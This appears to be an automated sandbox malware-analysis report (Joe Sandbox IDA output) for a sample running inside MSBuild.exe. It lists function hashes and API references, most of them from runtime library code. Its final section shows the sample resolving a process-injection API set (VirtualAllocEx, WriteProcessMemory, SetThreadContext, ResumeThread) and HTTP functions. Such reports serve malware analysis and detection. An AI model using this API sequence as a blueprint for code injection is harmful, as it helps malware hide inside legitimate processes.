Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: da8b1becb0e9de482ed086d932ed77b97fd36d94d9f140af7441192ba6dc9c8d
Instruction ID: 25aa7c4e02bc9d919be662378b20d9719d9540187ef9abaf32b9d5409907233e
Opcode Fuzzy Hash: da8b1becb0e9de482ed086d932ed77b97fd36d94d9f140af7441192ba6dc9c8d
Instruction Fuzzy Hash: 3ED16A76D042589FCF16CFA8E8849EDBBB5FF49304F18452AE856EB351E730A942CB50

Function 004139AD Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004139B9

Part of subcall function 0041194C: __getptd_noexit.LIBCMT ref: 0041194F
Part of subcall function 0041194C: __amsg_exit.LIBCMT ref: 0041195C

__amsg_exit.LIBCMT ref: 004139D9
__lock.LIBCMT ref: 004139E9
_free.LIBCMT ref: 00413A19

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction ID: cf46ca09bacceb105cc3105d4a1ca7e66fefb55ff6e489b7da3900926670a483
Opcode Fuzzy Hash: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction Fuzzy Hash: F501AD72E01711ABCB21AF26A80679E7760AF04726F05012BE850676A1C77C6ED1CBDE

Function 003E06EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,003DF713,00000000,00000001,00000000,00000000,?,003D7B44,00000000,00000000,00000000), ref: 003E0706
GetLastError.KERNEL32(?,003DF713,00000000,00000001,00000000,00000000,?,003D7B44,00000000,00000000,00000000,00000000,00000000,?,003D80CB,00000000), ref: 003E0712

Part of subcall function 003E06D8: CloseHandle.KERNEL32(FFFFFFFE,003E0722,?,003DF713,00000000,00000001,00000000,00000000,?,003D7B44,00000000,00000000,00000000,00000000,00000000), ref: 003E06E8

___initconout.LIBCMT ref: 003E0722

Part of subcall function 003E069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,003E06C9,003DF700,00000000,?,003D7B44,00000000,00000000,00000000,00000000), ref: 003E06AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,003DF713,00000000,00000001,00000000,00000000,?,003D7B44,00000000,00000000,00000000,00000000), ref: 003E0737

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0f5987045fc7e9dee15480d2a1861fbd343734f0199bda6ded70b1b5eaf4e46a
Instruction ID: 196d7c35c799c0034a19e51b4308ca5122b02ee59bba4a6c4a903b12f1ee9411
Opcode Fuzzy Hash: 0f5987045fc7e9dee15480d2a1861fbd343734f0199bda6ded70b1b5eaf4e46a
Instruction Fuzzy Hash: 7DF037360001E4BBCF333F95DC48A897FA9FB493A1F014210F9599A1B0C6719960DF90

Function 003FF4E4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 204COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003FF689
_memset.LIBCMT ref: 003FF78F

Strings

onstructor closure', xrefs: 003FF4ED

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset
String ID: onstructor closure'
API String ID: 2102423945-875567771
Opcode ID: 5e393a54493dfc3e74e046b3b5bc42ef2ca664d38cb9001b3f819a9af15d1608
Instruction ID: 1df4188d16eafd891daa6897fa3b1aac2a25648b48c71001feefd58f8d4f9b2d
Opcode Fuzzy Hash: 5e393a54493dfc3e74e046b3b5bc42ef2ca664d38cb9001b3f819a9af15d1608
Instruction Fuzzy Hash: FC815BB2E0012DABCF22EF60CC4AADD73B9AB04345F5040B1B709B7061DA75AF898F54

Function 004026E5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040271D
_memset.LIBCMT ref: 0040272E

Strings

onstructor closure', xrefs: 004026EE

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset
String ID: onstructor closure'
API String ID: 2102423945-875567771
Opcode ID: 168907c647a1744462a2b58660e3c7a20f6000505ae1f7b1b4a90323cf9e7670
Instruction ID: 9e99d22eab90a52f447d369bbb704b406481d62b68527a283a539d7b0b3c3f95
Opcode Fuzzy Hash: 168907c647a1744462a2b58660e3c7a20f6000505ae1f7b1b4a90323cf9e7670
Instruction Fuzzy Hash: 52714EB1D0022D9FDF21DF60DC45BDAB7BAAB88310F0405E5E608E3250EA769FA58F55

Function 003FCA05 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003FCA99

Strings

onstructor closure', xrefs: 003FCA0E

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset
String ID: onstructor closure'
API String ID: 2102423945-875567771
Opcode ID: de89d1340279b847f4a2c678d69ca783bf8c24fd760b2f7f07be3f32303e3905
Instruction ID: 2f9be75c83a76f86172cf4af73374dadc8fa1bb8c3aa9b00b1829fc43c9811ca
Opcode Fuzzy Hash: de89d1340279b847f4a2c678d69ca783bf8c24fd760b2f7f07be3f32303e3905
Instruction Fuzzy Hash: EC519DF1D5022C9FDF25AF24CD85AEDB7B8AB44304F0051EAA309A7152DB746E88CF59

Function 003E1093 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,003E09EF), ref: 003E10AC

Strings

R[<, xrefs: 003E1176, 003E1220, 003E1266
Li>, xrefs: 003E1241

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: Li>$R[<
API String ID: 3527080286-426091177
Opcode ID: 2e22ba8c1740f3f34a1652b4cacc11a431c4b23ae106fdd5d866e4fd2e42628f
Instruction ID: 09d04e964343c7f1324b9dd79d0feec8c88aa0e27ddc9ecf1b8fceaef25cdaec
Opcode Fuzzy Hash: 2e22ba8c1740f3f34a1652b4cacc11a431c4b23ae106fdd5d866e4fd2e42628f
Instruction Fuzzy Hash: 8751BF759005AADBCF129FABD84C1BDBBB8FF09304F124345E681A72D5CB748A258B54

Function 003C5F4D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_Fputc.LIBCPMT ref: 003C6026

Strings

R[<, xrefs: 003C6005

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Fputc
String ID: R[<
API String ID: 3078413507-3864648660
Opcode ID: 25c6ca8034808a1acc14fc3533ef46fc4feb347de328fc754c36b4bdd1adec49
Instruction ID: 9e0f7cd4d892d636921e8c01445a1569f87c03036d7b658b1a86138314006b0e
Opcode Fuzzy Hash: 25c6ca8034808a1acc14fc3533ef46fc4feb347de328fc754c36b4bdd1adec49
Instruction Fuzzy Hash: 59412C3691061AEBCB2ADF64C490EEDB7B9FF09350B15412EE541E7640EB31FD818B90

Function 003CA96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 003CA992

Strings

RCC, xrefs: 003CA9AC
MOC, xrefs: 003CA9A4

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 0c0961fd13f054ec5415a03172fcf342693e0838b2de925a075ee742089ad353
Instruction ID: 5a872a466f5cfa7866ab9ea4c477ea208000a28c477c59409e06f15ed8ef1abf
Opcode Fuzzy Hash: 0c0961fd13f054ec5415a03172fcf342693e0838b2de925a075ee742089ad353
Instruction Fuzzy Hash: B541387690060DAFCF16DF98C981FAEBBB5BF48308F164059FA04AB211D3359D50DB52

Function 003C5107 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003C5113
std::_Lockit::~_Lockit.LIBCPMT ref: 003C516F

Strings

R[<, xrefs: 003C513A, 003C5154

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: R[<
API String ID: 593203224-3864648660
Opcode ID: 7b5e87b40027f65d9673694af6208389f99dc16cce92599841244be6f2f84f67
Instruction ID: f6a2decb0504555137def133ea0fa9d587b80905b8456acd91da7065b467e0fa
Opcode Fuzzy Hash: 7b5e87b40027f65d9673694af6208389f99dc16cce92599841244be6f2f84f67
Instruction Fuzzy Hash: 31012935600515AFCB16EB14C899F9977B9EF85754B19009DE806DF3A1DB70FE40CB50

Function 003C15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003C15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003C161E

Part of subcall function 003C5178: _Yarn.LIBCPMT ref: 003C5197
Part of subcall function 003C5178: _Yarn.LIBCPMT ref: 003C51BB

Strings

bad locale name, xrefs: 003C162C

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 5b7ea5888ff52a7d984fe6be0c7f67b91a362a8511e1d6d9eadeaaa013787770
Instruction ID: ecc83f25706b1fffd75bd36949e111b01ee373a578ef4a6278df95d13880f344
Opcode Fuzzy Hash: 5b7ea5888ff52a7d984fe6be0c7f67b91a362a8511e1d6d9eadeaaa013787770
Instruction Fuzzy Hash: 51F03071505B909E83329F7A8481947FBE4BE293103948E2FE0DEC3A12D734F804CB6A

Function 003D62A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 003D62E6

Strings

R[<, xrefs: 003D62D6
InitializeCriticalSectionEx, xrefs: 003D62B6

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$R[<
API String ID: 2593887523-3319704410
Opcode ID: 99ac307177a64e566eb75c423da055d1f826dc1987e723c8786f17b23fdf7c83
Instruction ID: 06a5ae8b0bbf57bed47bc7e619e640ae0e0cda69400335fb45e14cd9987be379
Opcode Fuzzy Hash: 99ac307177a64e566eb75c423da055d1f826dc1987e723c8786f17b23fdf7c83
Instruction Fuzzy Hash: 81E06D32544268B7CB232F51EC0BEDE7E19DB48BA1F004121F9281A2A1C6B2D921A684

Function 003D612C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 003D6160

Strings

R[<, xrefs: 003D6156
FlsAlloc, xrefs: 003D613C

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$R[<
API String ID: 2773662609-4042842247
Opcode ID: 66d209b98e179299f0b50804ecccbf9ef9e214ce12f3a77cf522edde6ee61ba0
Instruction ID: 43539560eb7d0a17ba41aef2be429e0188d3b07f12bd743c2eaaae5bad3f9e8e
Opcode Fuzzy Hash: 66d209b98e179299f0b50804ecccbf9ef9e214ce12f3a77cf522edde6ee61ba0
Instruction Fuzzy Hash: 63E0CD376842B473863336A27C0BEDE7A188B44B61F000111FA155A3C1D9A59D0091D5

Function 003EE2F6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003EE30E

Strings

onstructor closure', xrefs: 003EE2FC
@, xrefs: 003EE31A

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset
String ID: @$onstructor closure'
API String ID: 2102423945-265085148
Opcode ID: 1079b2dae131504aad63b8943b3672038b315a8686656d56e8b9f461ca4a313f
Instruction ID: fb17e242ef085a555bf9f5937f4486a5a3c8edd0cbe460d405cf801ea89954e4
Opcode Fuzzy Hash: 1079b2dae131504aad63b8943b3672038b315a8686656d56e8b9f461ca4a313f
Instruction Fuzzy Hash: B9E0B8F090020C9BDB54DFA5D946F9D77F89B08704F5040299A05E7181E674AA09CB59

Analysis Process: MSBuild.exePID: 6112, Parent PID: 3472COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418A63 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,004173DA), ref: 00418A77
GetProcAddress.KERNEL32 ref: 00418A8E
GetProcAddress.KERNEL32 ref: 00418AA5
GetProcAddress.KERNEL32 ref: 00418ABC
GetProcAddress.KERNEL32 ref: 00418AD3
GetProcAddress.KERNEL32 ref: 00418AEA
GetProcAddress.KERNEL32 ref: 00418B01
GetProcAddress.KERNEL32 ref: 00418B18
GetProcAddress.KERNEL32 ref: 00418B2F
GetProcAddress.KERNEL32 ref: 00418B46
GetProcAddress.KERNEL32 ref: 00418B5D
GetProcAddress.KERNEL32 ref: 00418B74
GetProcAddress.KERNEL32 ref: 00418B8B
GetProcAddress.KERNEL32 ref: 00418BA2
GetProcAddress.KERNEL32 ref: 00418BB9
GetProcAddress.KERNEL32 ref: 00418BD0
GetProcAddress.KERNEL32 ref: 00418BE7
GetProcAddress.KERNEL32 ref: 00418BFE
GetProcAddress.KERNEL32 ref: 00418C15
GetProcAddress.KERNEL32 ref: 00418C2C
GetProcAddress.KERNEL32 ref: 00418C43
GetProcAddress.KERNEL32 ref: 00418C5A
GetProcAddress.KERNEL32 ref: 00418C71
GetProcAddress.KERNEL32 ref: 00418C88
GetProcAddress.KERNEL32 ref: 00418C9F
GetProcAddress.KERNEL32 ref: 00418CB6
GetProcAddress.KERNEL32 ref: 00418CCD
GetProcAddress.KERNEL32 ref: 00418CE4
GetProcAddress.KERNEL32 ref: 00418CFB
GetProcAddress.KERNEL32 ref: 00418D12
GetProcAddress.KERNEL32 ref: 00418D29
GetProcAddress.KERNEL32 ref: 00418D40
GetProcAddress.KERNEL32 ref: 00418D57
GetProcAddress.KERNEL32 ref: 00418D6E
GetProcAddress.KERNEL32 ref: 00418D85
GetProcAddress.KERNEL32 ref: 00418D9C
GetProcAddress.KERNEL32 ref: 00418DB3
GetProcAddress.KERNEL32 ref: 00418DCA
GetProcAddress.KERNEL32 ref: 00418DE1
GetProcAddress.KERNEL32 ref: 00418DF8
GetProcAddress.KERNEL32 ref: 00418E0F
GetProcAddress.KERNEL32 ref: 00418E26
GetProcAddress.KERNEL32 ref: 00418E3D
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418E53
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418E69
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418E7F
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418E95
GetProcAddress.KERNEL32(ResumeThread), ref: 00418EAB
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418EC1
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418ED7
LoadLibraryA.KERNEL32(004173DA), ref: 00418EE8
LoadLibraryA.KERNEL32 ref: 00418EF9
LoadLibraryA.KERNEL32 ref: 00418F0A
LoadLibraryA.KERNEL32 ref: 00418F1B
LoadLibraryA.KERNEL32 ref: 00418F2C
LoadLibraryA.KERNEL32 ref: 00418F3D
LoadLibraryA.KERNEL32 ref: 00418F4E
LoadLibraryA.KERNEL32 ref: 00418F5F
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418F6F
GetProcAddress.KERNEL32(75FD0000), ref: 00418F8A
GetProcAddress.KERNEL32 ref: 00418FA1
GetProcAddress.KERNEL32 ref: 00418FB8
GetProcAddress.KERNEL32 ref: 00418FCF
GetProcAddress.KERNEL32 ref: 00418FE6
GetProcAddress.KERNEL32(6FCC0000), ref: 00419005
GetProcAddress.KERNEL32 ref: 0041901C
GetProcAddress.KERNEL32 ref: 00419033
GetProcAddress.KERNEL32 ref: 0041904A
GetProcAddress.KERNEL32 ref: 00419061
GetProcAddress.KERNEL32 ref: 00419078
GetProcAddress.KERNEL32 ref: 0041908F
GetProcAddress.KERNEL32 ref: 004190A6
GetProcAddress.KERNEL32(763B0000), ref: 004190C1
GetProcAddress.KERNEL32 ref: 004190D8
GetProcAddress.KERNEL32 ref: 004190EF
GetProcAddress.KERNEL32 ref: 00419106
GetProcAddress.KERNEL32 ref: 0041911D
GetProcAddress.KERNEL32(750F0000), ref: 0041913C
GetProcAddress.KERNEL32 ref: 00419153
GetProcAddress.KERNEL32 ref: 0041916A
GetProcAddress.KERNEL32 ref: 00419181
GetProcAddress.KERNEL32 ref: 00419198
GetProcAddress.KERNEL32 ref: 004191AF
GetProcAddress.KERNEL32(75A50000), ref: 004191CE
GetProcAddress.KERNEL32 ref: 004191E5
GetProcAddress.KERNEL32 ref: 004191FC
GetProcAddress.KERNEL32 ref: 00419213
GetProcAddress.KERNEL32 ref: 0041922A
GetProcAddress.KERNEL32 ref: 00419241
GetProcAddress.KERNEL32 ref: 00419258
GetProcAddress.KERNEL32 ref: 0041926F
GetProcAddress.KERNEL32 ref: 00419286
GetProcAddress.KERNEL32(75070000), ref: 004192A1
GetProcAddress.KERNEL32 ref: 004192B8
GetProcAddress.KERNEL32 ref: 004192CF
GetProcAddress.KERNEL32 ref: 004192E6
GetProcAddress.KERNEL32 ref: 004192FD
GetProcAddress.KERNEL32(74E50000), ref: 00419318
GetProcAddress.KERNEL32 ref: 0041932F
GetProcAddress.KERNEL32(75320000), ref: 0041934A
GetProcAddress.KERNEL32 ref: 00419361
GetProcAddress.KERNEL32(6F270000), ref: 00419380
GetProcAddress.KERNEL32 ref: 00419397
GetProcAddress.KERNEL32 ref: 004193AE
GetProcAddress.KERNEL32 ref: 004193C5
GetProcAddress.KERNEL32 ref: 004193DC
GetProcAddress.KERNEL32 ref: 004193F3
GetProcAddress.KERNEL32 ref: 0041940A
GetProcAddress.KERNEL32 ref: 00419421
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00419437
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 0041944D
GetProcAddress.KERNEL32(74E00000), ref: 00419468
GetProcAddress.KERNEL32 ref: 0041947F
GetProcAddress.KERNEL32 ref: 00419496
GetProcAddress.KERNEL32 ref: 004194AD
GetProcAddress.KERNEL32(74DF0000), ref: 004194C8
GetProcAddress.KERNEL32(6E430000), ref: 004194E3
GetProcAddress.KERNEL32 ref: 004194FA
